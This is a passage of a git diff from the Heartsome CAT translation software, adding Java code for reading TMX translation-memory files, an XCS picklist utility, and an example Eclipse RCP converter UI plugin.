TmxNote(); + note.setContent(fragment); + int inx = vn.getAttrVal("xml:lang"); + String value = inx != -1 ? vn.toString(inx) : null; + if (value != null) { + note.setXmlLang(value); + } + inx = vn.getAttrVal("o-encoding"); + value = inx != -1 ? vn.toString(inx) : null; + if (value != null) { + note.setXmlLang(value); + } + tu.appendNote(note); + } + vn.pop(); + } + + private void readTuElementAttribute(TmxTU tu) throws VTDException { + VTDNav vn = vu.getVTDNav(); + + vn.push(); + AutoPilot apAttributes = new AutoPilot(vu.getVTDNav()); + apAttributes.selectXPath("@*"); + int inx = -1; + while ((inx = apAttributes.evalXPath()) != -1) { + String name = vn.toString(inx); + inx = vn.getAttrVal(name); + String value = inx != -1 ? vn.toString(inx) : ""; + // tuid, o-encoding, datatype, usagecount, lastusagedate, creationtool, creationtoolversion, creationdate, + // creationid, changedate, segtype, changeid, o-tmf, srclang. + if (name.equals("tuid")) { + tu.setTuId(value); + } else if (name.equals("creationtool")) { + tu.setCreationTool(value); + } else if (name.equals("creationtoolversion")) { + tu.setCreationToolVersion(value); + } else if (name.equals("creationdate")) { + tu.setCreationDate(value); + } else if (name.equals("creationid")) { + tu.setCreationUser(value); + } else if (name.equals("changedate")) { + tu.setChangeDate(value); + } else if (name.equals("changeid")) { + tu.setChangeUser(value); + } else { + tu.appendAttribute(name, value); + } + } + vn.pop(); + } + + /** + * Validate TMX Format,and pilot to Body XMLElement + * @param vg + * @throws TmxReadException + * ; + */ + private void validateTmxAndParseHeader(VTDGen vg) throws TmxReadException { + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + String rootPath = "/tmx"; + vu = new VTDUtils(); + try { + vu.bind(vn); + ap.selectXPath(rootPath); + if (ap.evalXPath() == -1) { + throw new TmxReadException(Messages.getString("document.TmxReader.validateTmxFileError")); + } + ap.resetXPath(); + ap.selectXPath("/tmx/header"); + if (ap.evalXPath() == -1) { + throw new TmxReadException(Messages.getString("document.TmxReader.validateTmxFileError")); + } + int id = vu.getVTDNav().getAttrVal("srclang"); + if (id == -1) { + throw new TmxReadException(Messages.getString("document.TmxReader.validateTmxFileError")); + } + header.setSrclang(vu.getVTDNav().toString(id).trim()); + + if (vu.pilot("/tmx/body") == -1) { + throw new TmxReadException(Messages.getString("document.TmxReader.validateTmxFileError")); + } + // compute total tu number + this.totalTu = vu.getChildElementsCount(); + } catch (VTDException e) { + logger.error("", e); + throw new TmxReadException(Messages.getString("document.TmxReader.parseTmxFileError") + e.getMessage()); + } finally { + vg.clear(); + } + } + + /** + * Parse file with VTD-XML + * @param file + * @return + * @throws TmxReadException + * All Exception come from VTDExcetpion; + */ + private VTDGen paseFile(File file) throws TmxReadException { + String encoding = FileEncodingDetector.detectFileEncoding(file); + VTDGen vg = new VTDGen(); + FileInputStream fis = null; + String message = ""; + try { + fis = new FileInputStream(file); + byte[] bArr = new byte[(int) file.length()]; + + int offset = 0; + int numRead = 0; + int numOfBytes = 1048576;// I choose this value randomally, + // any other (not too big) value also can be here. + if (bArr.length - offset < numOfBytes) { + numOfBytes = bArr.length - offset; + } + while (offset < bArr.length && (numRead = fis.read(bArr, offset, numOfBytes)) >= 0) { + offset += numRead; + if (bArr.length - offset < numOfBytes) { + numOfBytes = bArr.length - offset; + } + } + + // clean invalid XML character + byte[] _bArr = new byte[bArr.length]; + int _bArrIndx = 0; + int type = 0; + if (encoding.equalsIgnoreCase("UTF-16LE") || encoding.equalsIgnoreCase("UTF-16BE")) { + type = 1; + } + for (int i = 0; i < bArr.length; i++) { + byte b = bArr[i]; + if ((b >= type && b <= 8) || b == 11 || b == 12 || (b >= 14 && b <= 31)) { + continue; + } else if (b == 38 && i + 1 < bArr.length && bArr[i + 1] == 35 && i + 2 < bArr.length) {// &# + List entis = new ArrayList(); + entis.add((byte) 38); + entis.add((byte) 35); + int j = i + 2; + if (bArr[j] == 120) {// x + entis.add((byte) 120); + while (true) { + j++; + if (j >= bArr.length) { + entis.clear(); + b = bArr[i]; + break; + } + b = bArr[j]; + if ((b >= 48 && b <= 57) || (b >= 97 && b <= 102) || (b >= 65 && b <= 70)) { + entis.add(b); + } else if (b == 59) { + entis.add(b); + i = j; + break; + } else if (j - i > 10) { + entis.clear(); + b = bArr[i]; + break; + } else { + entis.clear(); + b = bArr[i]; + break; + } + } + } else { + while (true) { + b = bArr[j]; + if ((b >= 48 && b <= 57)) { + entis.add(b); + } else if (b == 59) { + entis.add(b); + i = j; + break; + } else if (j - i > 10) { + entis.clear(); + b = bArr[i]; + break; + } else { + entis.clear(); + b = bArr[i]; + break; + } + j++; + if (j >= bArr.length) { + entis.clear(); + b = bArr[i]; + break; + } + } + } + if (!entis.isEmpty()) { + byte[] t = new byte[entis.size()]; + for (int ti = 0; ti < entis.size(); ti++) { + t[ti] = entis.get(ti); + } + String s = new String(t); + if (s.matches("((&#[x]?)(([0]?([0-8]|[BbCcEe]))|(1[0-9])|(1[a-fA-F]));)")) { + continue; + } + } + } + _bArr[_bArrIndx++] = b; + } + bArr = null; + bArr = Arrays.copyOf(_bArr, _bArrIndx); + + // use vtd parse + vg.setDoc(bArr); + vg.parse(true); + } catch (IOException e) { + logger.error(Messages.getString("document.DocUtils.logger1"), e); + throw new TmxReadException(Messages.getString("document.TmxReader.parseTmxFileError")); + } catch (EncodingException e) { + logger.error(Messages.getString("document.ImportAbstract.logger1"), e); + message = Messages.getString("document.ImportAbstract.msg1"); + throw new TmxReadException(message + e.getMessage()); + } catch (ParseException e) { + logger.error(Messages.getString("document.ImportAbstract.logger3"), e); + String errMsg = e.getMessage(); + if (errMsg.indexOf("invalid encoding") != -1) { // ç¼–ç å¼‚常 + message = Messages.getString("document.ImportAbstract.msg1"); + } else { + message = Messages.getString("document.ImportAbstract.msg3"); + } + throw new TmxReadException(message + e.getMessage()); + } finally { + if (fis != null) { + try { + fis.close(); + } catch (Exception e) { + } + } + } + return vg; + } + + /** + * èŽ·å– tmxfile 中的所有语言 + * @return + */ + public List getLangs() { + List langs = new LinkedList(); + langs.add(LanguageUtils.convertLangCode(header.getSrclang())); + VTDNav vn = vu.getVTDNav(); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("/tmx/body/tu/tuv"); + String lang; + int index = -1; + while (ap.evalXPath() != -1) { + index = vn.getAttrVal("xml:lang"); + if (index == -1) { + index = vn.getAttrVal("lang");// version 1.1 + if (index == -1) { + continue; + } + } + lang = LanguageUtils.convertLangCode(vn.toRawString(index)); + if (!langs.contains(lang)) { + langs.add(lang); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + vn.pop(); + return langs; + } + + public TmxHeader getTmxHeader() { + return header; + } + + public int getTotalTu() { + return totalTu; + } + + /** + * 此方法用于清除导入TMX时清除第三方标记,如 sdl 2007 中的 ut 标签,清除标记请在以下方法中加入 + * @param isClear + * ; + */ + public void tryToClearTags(boolean isClear) { + if (isClear) { + if (header == null || vu == null || tuAp == null) { + return; + } + try { + String creationtool = vu.getElementAttribute("/tmx/header", "creationtool"); + String creationtoolversion = vu.getElementAttribute("/tmx/header", "creationtoolversion"); + if (creationtool == null || creationtoolversion == null) { + return; + } + if (creationtool.equals(TmxFilterInterface.SDL_2007_FOR_WIN)) { + tmxFilter = new TmxFilterSDL2007Impl(); + } + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } + + } + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxReaderEvent.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxReaderEvent.java new file mode 100644 index 0000000..f65d3d1 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/TmxReaderEvent.java @@ -0,0 +1,66 @@ +/** + * TmxReaderEvent.java + * + * Version information : + * + * Date:2013-1-29 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.document; + +import net.heartsome.cat.common.bean.TmxTU; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxReaderEvent { + public static final int NORMAL_READ = -1; + public static final int END_FILE = 0; + public static final int ERROR_TU = 1; + public static final int READ_EXCEPTION = 2; + + private TmxTU tu; + private int state; + + public TmxReaderEvent(TmxTU tu) { + this.tu = tu; + } + + public TmxReaderEvent(TmxTU tu, int state) { + this(tu); + this.state = state; + } + + /** @return the tu */ + public TmxTU getTu() { + return tu; + } + + /** + * @param tu + * the tu to set + */ + public void setTu(TmxTU tu) { + this.tu = tu; + } + + /** @return the readState */ + public int getState() { + return state; + } + + /** + * @param readState + * the readState to set + */ + public void setState(int state) { + this.state = state; + } + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/document/XCSUtility.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/XCSUtility.java new file mode 100644 index 0000000..586e467 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/document/XCSUtility.java @@ -0,0 +1,104 @@ +package net.heartsome.cat.document; + +import java.io.File; +import java.util.ArrayList; +import java.util.List; + +import org.dom4j.Document; +import org.dom4j.DocumentException; +import org.dom4j.Element; +import org.dom4j.io.SAXReader; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class XCSUtility { + + private static Logger logger = LoggerFactory.getLogger(XCSUtility.class); + private Element root; + + public XCSUtility(File file){ + SAXReader reader = new SAXReader(); + try { + Document doc = reader.read(file); + root = doc.getRootElement(); + } catch (DocumentException e) { + logger.warn("", e); + } + } + + /** + * 返回 picklist 中æ供的选择类型 + * @param node 节点的å称 对应 XCS 中 levels 节点的内容 + * @param propName 属性的å称 对应 XCS 中 datCatSet 下所有元素的å称 + * @param typeName 属性的类型 对应 XCS 中 name 属性的值 + * @return 返回供选择的类型,如果是文本内容,则返回空的 List,如果ä¸æ”¯æŒåˆ™è¿”回 null; + */ + public List pickList(String node, String propName, String typeName){ + if(root == null){ + return null; + } + Element element = getElement(node, propName, typeName); + if(element == null){ + return null; + } + List result = new ArrayList(); + Element constants = element.element("contents"); + if(constants == null){ + return null; + } + String dataType = constants.attributeValue("datatype"); + if("picklist".equals(dataType)){ + String text = constants.getText(); + if(null == text || "".equals(text.trim())){ + return null; + } + else{ + String[] textArray = text.split(" "); + for(String i : textArray){ + result.add(i.trim()); + } + return result; + } + } + else{ + return result; + } + } + + private Element getElement(String node, String propName, String typeName){ + Element datCatSetElement = root.element("datCatSet"); + if(datCatSetElement == null){ + return null; + } + @SuppressWarnings("unchecked") + List elements = datCatSetElement.elements(); + List propElements = new ArrayList(); + for(Element i : elements){ + String name = i.getName(); + if((propName + "Spec").equals(name)){ + propElements.add(i); + } + } + if(propElements.size() == 0){ + return null; + } + for(Element i : propElements){ + if(typeName.equals(i.attributeValue("name"))){ + Element levels = i.element("levels"); + if(levels == null){ + return i; + } + else{ + String levelsStr = levels.getText().trim(); + String[] levelsArray = levelsStr.split(" "); + for(String level : levelsArray){ + if(node.equals(level.trim())){ + return i; + } + } + } + } + } + return null; + } +} diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/.classpath b/hsconverter/net.heartsome.cat.convert.ui.example/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/.project b/hsconverter/net.heartsome.cat.convert.ui.example/.project new file mode 100644 index 0000000..73ab6d7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.convert.ui.example + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.convert.ui.example/META-INF/MANIFEST.MF new file mode 100644 index 0000000..813332e --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/META-INF/MANIFEST.MF @@ -0,0 +1,19 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Ui +Bundle-SymbolicName: net.heartsome.cat.convert.ui.example;singleton:=true +Bundle-Version: 1.0.0.qualifier +Bundle-Activator: net.heartsome.cat.convert.ui.Activator +Require-Bundle: org.eclipse.ui;resolution:=optional, + org.eclipse.core.runtime, + org.eclipse.jface.databinding;bundle-version="1.3.0";resolution:=optional, + org.eclipse.core.databinding;bundle-version="1.2.0", + org.eclipse.core.databinding.beans;bundle-version="1.2.0", + org.eclipse.core.databinding.property;bundle-version="1.2.0", + org.eclipse.osgi.services;bundle-version="3.2.0", + net.heartsome.cat.converter;bundle-version="1.0.0", + org.eclipse.rap.ui;bundle-version="1.2.0";resolution:=optional, + org.eclipse.rap.jface.databinding;bundle-version="1.2.0";resolution:=optional +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Export-Package: net.heartsome.cat.convert.ui diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/build.properties b/hsconverter/net.heartsome.cat.convert.ui.example/build.properties new file mode 100644 index 0000000..2b0d95b --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/build.properties @@ -0,0 +1,5 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/icons/alt_window_16.gif b/hsconverter/net.heartsome.cat.convert.ui.example/icons/alt_window_16.gif new file mode 100644 index 0000000..05626b1 Binary files /dev/null and b/hsconverter/net.heartsome.cat.convert.ui.example/icons/alt_window_16.gif differ diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/icons/alt_window_32.gif b/hsconverter/net.heartsome.cat.convert.ui.example/icons/alt_window_32.gif new file mode 100644 index 0000000..b432f88 Binary files /dev/null and b/hsconverter/net.heartsome.cat.convert.ui.example/icons/alt_window_32.gif differ diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/plugin.xml b/hsconverter/net.heartsome.cat.convert.ui.example/plugin.xml new file mode 100644 index 0000000..459683b --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/plugin.xml @@ -0,0 +1,31 @@ + + + + + + + + + + + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/Activator.java b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/Activator.java new file mode 100644 index 0000000..753dc14 --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/Activator.java @@ -0,0 +1,75 @@ +package net.heartsome.cat.convert.ui; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.convert.ui"; + + // The shared instance + private static Activator plugin; + + private static BundleContext context; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext + * ) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + Activator.context = context; + } + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext + * ) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given plug-in + * relative path + * + * @param path + * the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + + public static BundleContext getContext() { + return context; + } +} diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/Application.java b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/Application.java new file mode 100644 index 0000000..dbc12c8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/Application.java @@ -0,0 +1,45 @@ +package net.heartsome.cat.convert.ui; + +import org.eclipse.equinox.app.IApplication; +import org.eclipse.equinox.app.IApplicationContext; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.PlatformUI; + +/** + * This class controls all aspects of the application's execution + */ +public class Application implements IApplication { + + /* (non-Javadoc) + * @see org.eclipse.equinox.app.IApplication#start(org.eclipse.equinox.app.IApplicationContext) + */ + public Object start(IApplicationContext context) { + Display display = PlatformUI.createDisplay(); + try { + int returnCode = PlatformUI.createAndRunWorkbench(display, new ApplicationWorkbenchAdvisor()); + if (returnCode == PlatformUI.RETURN_RESTART) { + return IApplication.EXIT_RESTART; + } + return IApplication.EXIT_OK; + } finally { + display.dispose(); + } + } + + /* (non-Javadoc) + * @see org.eclipse.equinox.app.IApplication#stop() + */ + public void stop() { + final IWorkbench workbench = PlatformUI.getWorkbench(); + if (workbench == null) + return; + final Display display = workbench.getDisplay(); + display.syncExec(new Runnable() { + public void run() { + if (!display.isDisposed()) + workbench.close(); + } + }); + } +} diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/ApplicationActionBarAdvisor.java b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/ApplicationActionBarAdvisor.java new file mode 100644 index 0000000..cf50f14 --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/ApplicationActionBarAdvisor.java @@ -0,0 +1,57 @@ +package net.heartsome.cat.convert.ui; + +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.ui.IWorkbenchActionConstants; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.actions.ActionFactory.IWorkbenchAction; +import org.eclipse.ui.application.ActionBarAdvisor; +import org.eclipse.ui.application.IActionBarConfigurer; + +/** + * An action bar advisor is responsible for creating, adding, and disposing of + * the actions added to a workbench window. Each window will be populated with + * new actions. + */ +public class ApplicationActionBarAdvisor extends ActionBarAdvisor { + + // Actions - important to allocate these only in makeActions, and then use + // them + // in the fill methods. This ensures that the actions aren't recreated + // when fillActionBars is called with FILL_PROXY. + private IWorkbenchAction exitAction; + private IWorkbenchAction preferenceAction; + + public ApplicationActionBarAdvisor(IActionBarConfigurer configurer) { + super(configurer); + } + + protected void makeActions(final IWorkbenchWindow window) { + // Creates the actions and registers them. + // Registering is needed to ensure that key bindings work. + // The corresponding commands keybindings are defined in the plugin.xml + // file. + // Registering also provides automatic disposal of the actions when + // the window is closed. + + exitAction = ActionFactory.QUIT.create(window); + register(exitAction); + + preferenceAction=ActionFactory.PREFERENCES.create(window); + register(preferenceAction); + } + + protected void fillMenuBar(IMenuManager menuBar) { + MenuManager fileMenu = new MenuManager("&File", + IWorkbenchActionConstants.M_FILE); + menuBar.add(fileMenu); + fileMenu.add(exitAction); + + MenuManager editMenu = new MenuManager("&Edit", + IWorkbenchActionConstants.M_EDIT); + menuBar.add(editMenu); + editMenu.add(preferenceAction); + } + +} diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/ApplicationWorkbenchAdvisor.java b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/ApplicationWorkbenchAdvisor.java new file mode 100644 index 0000000..6789586 --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/ApplicationWorkbenchAdvisor.java @@ -0,0 +1,20 @@ +package net.heartsome.cat.convert.ui; + +import org.eclipse.ui.application.IWorkbenchWindowConfigurer; +import org.eclipse.ui.application.WorkbenchAdvisor; +import org.eclipse.ui.application.WorkbenchWindowAdvisor; + +public class ApplicationWorkbenchAdvisor extends WorkbenchAdvisor { + + private static final String PERSPECTIVE_ID = "net.heartsome.cat.convert.ui.perspective"; + + public WorkbenchWindowAdvisor createWorkbenchWindowAdvisor( + IWorkbenchWindowConfigurer configurer) { + return new ApplicationWorkbenchWindowAdvisor(configurer); + } + + public String getInitialWindowPerspectiveId() { + return PERSPECTIVE_ID; + } + +} diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/ApplicationWorkbenchWindowAdvisor.java b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/ApplicationWorkbenchWindowAdvisor.java new file mode 100644 index 0000000..56482cc --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/ApplicationWorkbenchWindowAdvisor.java @@ -0,0 +1,33 @@ +package net.heartsome.cat.convert.ui; + +import org.eclipse.swt.graphics.Point; +import org.eclipse.ui.application.ActionBarAdvisor; +import org.eclipse.ui.application.IActionBarConfigurer; +import org.eclipse.ui.application.IWorkbenchWindowConfigurer; +import org.eclipse.ui.application.WorkbenchWindowAdvisor; + +public class ApplicationWorkbenchWindowAdvisor extends WorkbenchWindowAdvisor { + + public ApplicationWorkbenchWindowAdvisor(IWorkbenchWindowConfigurer configurer) { + super(configurer); + } + + public ActionBarAdvisor createActionBarAdvisor( + IActionBarConfigurer configurer) { + return new ApplicationActionBarAdvisor(configurer); + } + + public void preWindowOpen() { + IWorkbenchWindowConfigurer configurer = getWindowConfigurer(); + configurer.setInitialSize(new Point(400, 300)); + configurer.setShowCoolBar(false); + configurer.setShowStatusLine(false); + configurer.setTitle("OSGI Services Demo"); + } + + @Override + public void postWindowOpen() { + super.postWindowOpen(); + getWindowConfigurer().getWindow().getShell().setMaximized(true); + } +} diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/Perspective.java b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/Perspective.java new file mode 100644 index 0000000..5f2ea15 --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/Perspective.java @@ -0,0 +1,16 @@ +package net.heartsome.cat.convert.ui; + +import org.eclipse.ui.IPageLayout; +import org.eclipse.ui.IPerspectiveFactory; + +public class Perspective implements IPerspectiveFactory { + + public void createInitialLayout(IPageLayout layout) { + String editorArea = layout.getEditorArea(); + layout.setEditorAreaVisible(false); + layout.setFixed(true); + + layout.addStandaloneView(View.ID, false, IPageLayout.LEFT, 1.0f, editorArea); + } + +} diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/View.java b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/View.java new file mode 100644 index 0000000..f948b20 --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/View.java @@ -0,0 +1,156 @@ +package net.heartsome.cat.convert.ui; + +import java.util.Map; + +import net.heartsome.cat.convert.ui.model.ConverterUtil; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.converter.Converter; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Label; +import org.eclipse.ui.part.ViewPart; + +public class View extends ViewPart { + public static final String ID = "net.heartsome.cat.convert.ui.view"; + + private ConverterViewModel positiveConverterViewModel; + private ConverterViewModel reverseConverterViewModel; + private ComboViewer positiveSupportList; + + private ComboViewer reverseSupportList; + + public void createPartControl(Composite parent) { + positiveConverterViewModel = new ConverterViewModel(Activator + .getContext(), Converter.DIRECTION_POSITIVE); + reverseConverterViewModel = new ConverterViewModel(Activator + .getContext(), Converter.DIRECTION_REVERSE); + + GridLayout layout = new GridLayout(2, true); + parent.setLayout(layout); + + Composite left = new Composite(parent, SWT.NONE); + left.setLayout(new GridLayout(2, false)); + + GridData gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + left.setLayoutData(gridData); + + positiveSupportList = createConvertControl( + "Convert from Suport format to Xliff", left, true); + + Composite right = new Composite(parent, SWT.NONE); + right.setLayout(new GridLayout(2, false)); + + gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + right.setLayoutData(gridData); + + reverseSupportList = createConvertControl( + "Convert from Xliff to Support format", right, false); + + bindValue(); + } + + private ComboViewer createConvertControl(String title, Composite composite, + boolean isPositive) { + Label positiveConvertLabel = new Label(composite, SWT.NONE); + GridData positiveConvertLabelData = new GridData(); + positiveConvertLabelData.horizontalSpan = 2; + positiveConvertLabelData.horizontalAlignment = SWT.CENTER; + positiveConvertLabelData.grabExcessHorizontalSpace = true; + positiveConvertLabel.setLayoutData(positiveConvertLabelData); + positiveConvertLabel.setText(title); + + Label suportFormat = new Label(composite, SWT.NONE); + suportFormat.setText("Suport Format"); + + ComboViewer supportList = new ComboViewer(composite, SWT.READ_ONLY); + GridData gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + supportList.getCombo().setLayoutData(gridData); + + final Button button = new Button(composite, SWT.BORDER); + button.setText("Convert"); + GridData buttonData = new GridData(); + buttonData.horizontalAlignment = SWT.FILL; + button.setLayoutData(buttonData); + + if (isPositive) { + button.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + String type = positiveConverterViewModel.getSelectedType(); + if (type != null && !type.equals("")) { + Map result = positiveConverterViewModel + .convert(null); + if (result != null) { + MessageDialog.openInformation(button.getShell(), + "Convert", "used '" + result.get("name") + + "' to convert."); + } else { + MessageDialog + .openWarning(button.getShell(), "Warning", + "Can't find selected Converter."); + } + } + } + }); + } else { + button.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + String type = reverseConverterViewModel.getSelectedType(); + if (type != null && !type.equals("")) { + Map result = reverseConverterViewModel + .convert(null); + if (result != null) { + MessageDialog.openInformation(button.getShell(), + "Convert", "used '" + result.get("name") + + "' to convert."); + } else { + MessageDialog + .openWarning(button.getShell(), "Warning", + "Can't find selected Converter."); + } + } + } + }); + } + + return supportList; + } + + private void bindValue() { + DataBindingContext dbc = new DataBindingContext(); + ConverterUtil.bindValue(dbc, positiveSupportList, + positiveConverterViewModel); + ConverterUtil.bindValue(dbc, reverseSupportList, + reverseConverterViewModel); + } + + /** + * Passing the focus request to the viewer's control. + */ + public void setFocus() { + + } + + @Override + public void dispose() { + super.dispose(); + positiveConverterViewModel.close(); + reverseConverterViewModel.close(); + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/model/ConverterUtil.java b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/model/ConverterUtil.java new file mode 100644 index 0000000..194a9fa --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/model/ConverterUtil.java @@ -0,0 +1,48 @@ +package net.heartsome.cat.convert.ui.model; + +import net.heartsome.cat.converter.util.ConverterBean; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeansObservables; +import org.eclipse.core.databinding.observable.value.IObservableValue; +import org.eclipse.jface.databinding.viewers.IViewerObservableValue; +import org.eclipse.jface.databinding.viewers.ViewersObservables; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ViewerComparator; + +public class ConverterUtil { + private ConverterUtil() { + // TODO Auto-generated constructor stub + } + + public static void bindValue(DataBindingContext context,ComboViewer comboViewer, + ConverterViewModel model) { +// ViewerSupport.bind(comboViewer, BeansObservables.observeList( +// model, "supportTypes", String.class), +// Properties.selfValue(String.class)); +// +// +// context.bindValue(ViewersObservables +// .observeSingleSelection(comboViewer), BeansObservables +// .observeValue(model, +// "selectedType")); + +// ObservableListContentProvider viewerContentProvider=new ObservableListContentProvider(); + comboViewer.setContentProvider(new ArrayContentProvider()); + comboViewer.setComparator(new ViewerComparator()); +// IObservableMap[] attributeMaps = BeansObservables.observeMaps( +// viewerContentProvider.getKnownElements(), +// ConverterBean.class, new String[] { "description" }); +// comboViewer.setLabelProvider(new 